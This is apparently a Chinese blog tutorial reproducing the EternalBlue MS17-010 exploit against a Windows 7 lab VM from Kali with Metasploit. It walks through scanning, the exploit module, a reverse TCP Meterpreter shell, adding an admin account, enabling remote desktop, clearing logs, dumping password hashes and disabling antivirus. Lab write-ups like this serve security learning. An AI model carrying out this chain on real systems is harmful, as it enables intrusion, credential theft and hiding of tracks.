永恒之蓝ms17-010漏洞利用复现

一、永恒之蓝简述:

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

二、SMB服务简述:

SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通,端口:445。SMB最初是IBM的贝瑞·费根鲍姆(Barry Feigenbaum)研制的,其目的是将DOS操作系统中的本地文件接口“中断13”改造为网络文件系统。

三、漏洞原理

1、永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。

2、SMB服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。

-----想了解SMB具体漏洞原理可以点击链接: NSA Eternalblue SMB 漏洞分析.

四、需要工具

1、windows系统(靶机)(192.168.3.59)我这里使用的是在虚拟机里新建的win7系统
2、kali linux系统(攻击机)(192.168.3.42)我这里使用的是kali2021版本

五、复现验证

1.在kaili上使用nmap探测win7的端口信息:nmap 192.168.3.59,可以看到该机器已开启445端口

永恒之蓝ms17-010漏洞利用复现_第1张图片

也可以查看该445端口的banner信息,命令 nmap -sV -p445 192.168.3.59 探测到靶机开放445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞。

永恒之蓝ms17-010漏洞利用复现_第2张图片

打开MSF渗透工具, 使用kali自带的metasploit,输入msfconsole进入msf。

永恒之蓝ms17-010漏洞利用复现_第3张图片

输入search ms17_010,搜索ms17_010漏洞

永恒之蓝ms17-010漏洞利用复现_第4张图片

使用漏洞模块 :auxiliary/scanner/smb/smb_ms17_010模块;主要是为了扫描看目标靶机是否存在ms17-010漏洞

查看auxiliary/scanner/smb/smb_ms17_010模块的配置信息 查询该模块需要的参数,命令 show options,可以看到主要的参数是攻击的主机RHOSTS

永恒之蓝ms17-010漏洞利用复现_第5张图片

在扫描模块设置win7靶机的ip:set rhosts 192.168.3.59 运行后会自动返回 rhost→192.168.3.59

输入show options 即可查看是否成功赋值上,如果写错了可以选择unset rhosts来取消重新选择

永恒之蓝ms17-010漏洞利用复现_第6张图片

设置完成后,模块对目标靶机进行扫描 可以看到,Host is likely VULNERABLE to MS17-010(主机可能容易受到MS17-010的攻击!),证明可能存在永恒之蓝漏洞,下面开始利用 ;【这里要注意:如果没扫描到Host is likely VULNERABLE to MS17-010漏洞,那就有可能是被防火墙拦截了,只需关闭防火墙即可】

搜索ms17-010漏洞利用模块 ;

永恒之蓝ms17-010漏洞利用复现_第7张图片

这里win7需要使要exploit/windows/smb/ms17_010_eternalblue,windows2003使用exploit/windows/smb/ms17_010_psexec 这里我们使用use exploit/windows/smb/ms17_010_eternalblue(进行攻击)

输入show options查看auxiliary(scanner/smb/smb_ms17_010)模块的配置信息

永恒之蓝ms17-010漏洞利用复现_第8张图片

在攻击模块里设置win7靶机的IP 运行后会自动返回rhosts→192.168.3.59(如果有多个攻击目标ip间直接用空格隔开就行)

查看漏洞模块信息:info

永恒之蓝ms17-010漏洞利用复现_第9张图片

这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统

永恒之蓝ms17-010漏洞利用复现_第10张图片

查看可用的攻击payload。该命令可以查看当下漏洞利用模块下可用的所有Payload

【攻击载荷(默认windows/x64/meterpreter/reverse_tcp)命令是:set payload windows/x64/meterpreter/reverse_tcp】

永恒之蓝ms17-010漏洞利用复现_第11张图片

设置接收信息的本地设备:set LHOST 192.168.3.42,运行结束后自动返回LHOST 192.168.3.42

运行结束后,获取到了meterpreter权限

永恒之蓝ms17-010漏洞利用复现_第12张图片

输入shell直接进入靶机,在这里输入chcp 65001 改一下编码不然会乱码

永恒之蓝ms17-010漏洞利用复现_第13张图片

给靶机创建一个用户

给靶机上刚创建的用户增加管理员权限,让它有远程控制的权限

用kali把win7靶机远程桌面服务打开 (还有一种方法运用getuid脚本开启目标主机远程桌面:run getgui -e或者run post/windows/manage/enable_rdp)

在kali终端,使用添加的管理员账户admin进行远程桌面

永恒之蓝ms17-010漏洞利用复现_第14张图片

弹出win7界面,直接登录就行了

永恒之蓝ms17-010漏洞利用复现_第15张图片

可以再kail上用这个命令清除日志【clearev】,也可在靶机上删除

永恒之蓝ms17-010漏洞利用复现_第16张图片

六、后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图

总结: 这是我对永恒之蓝ms17-010漏洞利用的学习总结,分享给大家一起学习,希望大家多多指点!

你可能感兴趣的:(linux,网络安全,安全)